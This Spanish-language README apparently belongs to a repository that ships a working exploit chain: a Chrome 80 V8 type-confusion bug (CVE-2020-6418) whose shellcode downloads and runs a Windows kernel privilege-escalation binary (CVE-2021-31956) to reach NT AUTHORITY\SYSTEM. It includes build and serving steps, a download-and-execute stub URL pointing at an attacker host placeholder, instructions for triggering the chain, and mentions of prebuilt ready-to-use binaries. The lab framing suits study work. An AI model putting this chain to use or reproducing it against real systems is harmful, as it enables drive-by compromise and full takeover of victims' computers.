
Cadena de explotación de una sola etapa para CVE-2020-6418 (RCE en Chrome) encadenada con escalada de privilegios de Windows a SYSTEM, con scripts de compilación y binarios precompilados.
Este repositorio contiene una cadena de explotación funcional de una sola etapa para CVE-2020-6418 (un bug de confusión de tipos en el compilador Turbofan de V8, que afecta a Google Chrome 80.0.3987.87 x64). Visitar una página maliciosa con un Chrome vulnerable te da ejecución de código nativo dentro del proceso del renderizador. Desde allí, el exploit descarga y lanza un segundo binario que encadena dos bugs más (una comprobación de longitud ausente en NtPowerInformation más CVE-2021-31956, un desbordamiento de pool en ntfs.sys) para pasar de un proceso sin privilegios hasta NT AUTHORITY\SYSTEM.
Todo el proceso se ejecuta con una sola visita a la página, sin pasos manuales entre el bug del navegador y la shell de SYSTEM.
El crédito original del exploit de Chrome es para Clement Lecigne (descubrimiento del bug, Google TAG) e Istvan Kurucsai / Vignesh S Rao (la prueba de concepto original, que luego se distribuyó como módulo de Metasploit). Eliminamos las dependencias de Metasploit y reconstruimos el mecanismo de entrega en torno a un descargador nativo en lugar de incrustar el payload en la página. Los detalles están en browser-exploit/README.md.
browser-exploit/ El exploit de Chrome (el bug de V8 + el stub nativo)
exploit_template.html Código fuente HTML/JS, con un marcador de posición para el stub
build_exploit.py genera exploit.html a partir de la plantilla
shellcode/ el código nativo que el exploit inyecta en Chrome
privilege-escalation/ La cadena EoP de Windows, un programa C independiente
prebuilt/ Binarios listos para usar (exploit.html y exploit.exe)
notes/ Un enfoque anterior que probamos y abandonamos, conservado
como registro de lo que aprendimos en el camino
Máquina del atacante (el "host"): cualquier Windows reciente con Visual Studio 2019 o 2022 (cualquier edición, Community es suficiente, o solo las Build Tools), NASM y Python 3. Aquí es donde compilas todo y sirves la página del exploit.
Máquina objetivo (la "VM"): esta tiene que coincidir exactamente; el exploit depende de offsets hardcodeados que solo son válidos para estas compilaciones específicas.
winver o [System.Environment]::OSVersion en PowerShell.chrome://version.C:\lab8 (puede estar vacía, solo necesita existir).Probamos esto en una VM de VMware Workstation con un adaptador de red host-only, pero cualquier configuración en la que la VM pueda alcanzar al host por HTTP funciona de la misma manera.
cd browser-exploit\shellcode
build.bat
cd ..
python build_exploit.py shellcode\download_and_run_stub.bin exploit.html
cd ..\privilege-escalation
build.bat
Antes de la primera compilación, abre browser-exploit\shellcode\download_and_run_stub.asm y edita estas dos líneas cerca del final:
download_url: db "http://YOUR_HOST_IP:8000/exploit.exe", 0
destination_path: db "C:\lab8\exploit.exe", 0
YOUR_HOST_IP es la dirección IP de esta máquina tal como la ve la VM (ejecuta ipconfig en la VM y revisa el adaptador de red que coincida con tu red host-only o NAT, o simplemente ejecuta ipconfig en el host y usa el adaptador en la misma subred que la VM). destination_path debe coincidir con el lugar donde quieras que caiga el binario de EoP dentro de la VM; por defecto es C:\lab8.
Después de editar, vuelve a ensamblar el stub y regenera exploit.html (los dos comandos del paso 1, omitiendo la compilación de privilege-escalation, ya que esa no depende de la IP).
Si no quieres tocar el archivo de ensamblador para una prueba rápida, prebuilt/ ya tiene una copia funcional con nuestra IP de prueba incluida. Solo funcionará si tu red coincide por casualidad, así que compilar tu propia copia es el camino fiable.
Coloca exploit.html y exploit.exe (el que se compila en privilege-escalation/) en la misma carpeta, y luego:
python -m http.server 8000
exploit.exe tiene que ser accesible en la URL exacta que pusiste en download_url arriba, ya que el stub nativo lo descarga directamente, no a través del navegador.
Una nota rápida sobre el firewall del host: si la VM no puede alcanzar el puerto 8000, casi siempre es el Firewall de Windows Defender bloqueando la conexión entrante en una red no clasificada, o una regla residual que bloquea específicamente a python.exe (Windows a veces crea una automáticamente la primera vez que una aplicación intenta aceptar una conexión en una red no confiable). Revisa Get-NetFirewallRule -DisplayName "python.exe" en un PowerShell elevado si te encuentras con esto.
Confirma que la compilación de Windows y la versión de Chrome coinciden con los requisitos anteriores.
Crea C:\lab8 si aún no existe (vacía está bien).
Si esta es una VM limpia que nunca pasó por un ciclo de arranque real, C:\Windows\bootstat.dat podría faltar o estar vacío, y el bug del kernel necesita que exista con contenido válido. Si es necesario:
if (!(Test-Path C:\Windows\bootstat.dat)) {
fsutil file createnew C:\Windows\bootstat.dat 2048
}
$bytes = [System.IO.File]::ReadAllBytes("C:\Windows\bootstat.dat")
$bytes[4] = 1
[System.IO.File]::WriteAllBytes("C:\Windows\bootstat.dat", $bytes)
Lanza el Chrome vulnerable con --no-sandbox (este PoC no incluye un escape del sandbox, así que el renderizador tiene que estar ya sin sandbox para acceder al sistema de archivos y lanzar procesos) y apúntalo a la página:
chrome.exe --no-sandbox http://YOUR_HOST_IP:8000/exploit.html
Abre DevTools (F12) y revisa la pestaña Console; el exploit registra su progreso allí. Si todo cuadra, deberías ver que la confusión de tipos tiene éxito, que el stub descarga y lanza el binario de EoP, y después de unos segundos una nueva ventana de consola ejecutándose como NT AUTHORITY\SYSTEM.
exploit_template.html (objleaker_offset, float_carw_elements_offset, y el resto) son específicos de 80.0.3987.87 x64; no funcionarán en una compilación diferente, ni siquiera con una versión de parche distinta.DEFAULT_RVA_ANCHOR, DEFAULT_RVA_SEPSD, y los diversos offsets de EPROCESS/ETHREAD en privilege-escalation/exploit.c) están hardcodeados para esa compilación.download_url en download_and_run_stub.asm coincida con la dirección y el puerto en los que el host está sirviendo realmente, y que la VM pueda alcanzarlo (un simple curl http://YOUR_HOST_IP:8000/exploit.exe desde dentro de la VM es una forma rápida de confirmar la conectividad antes de culpar al exploit).Más detalles sobre cada pieza, incluido por qué está construida como está, en el README de cada carpeta.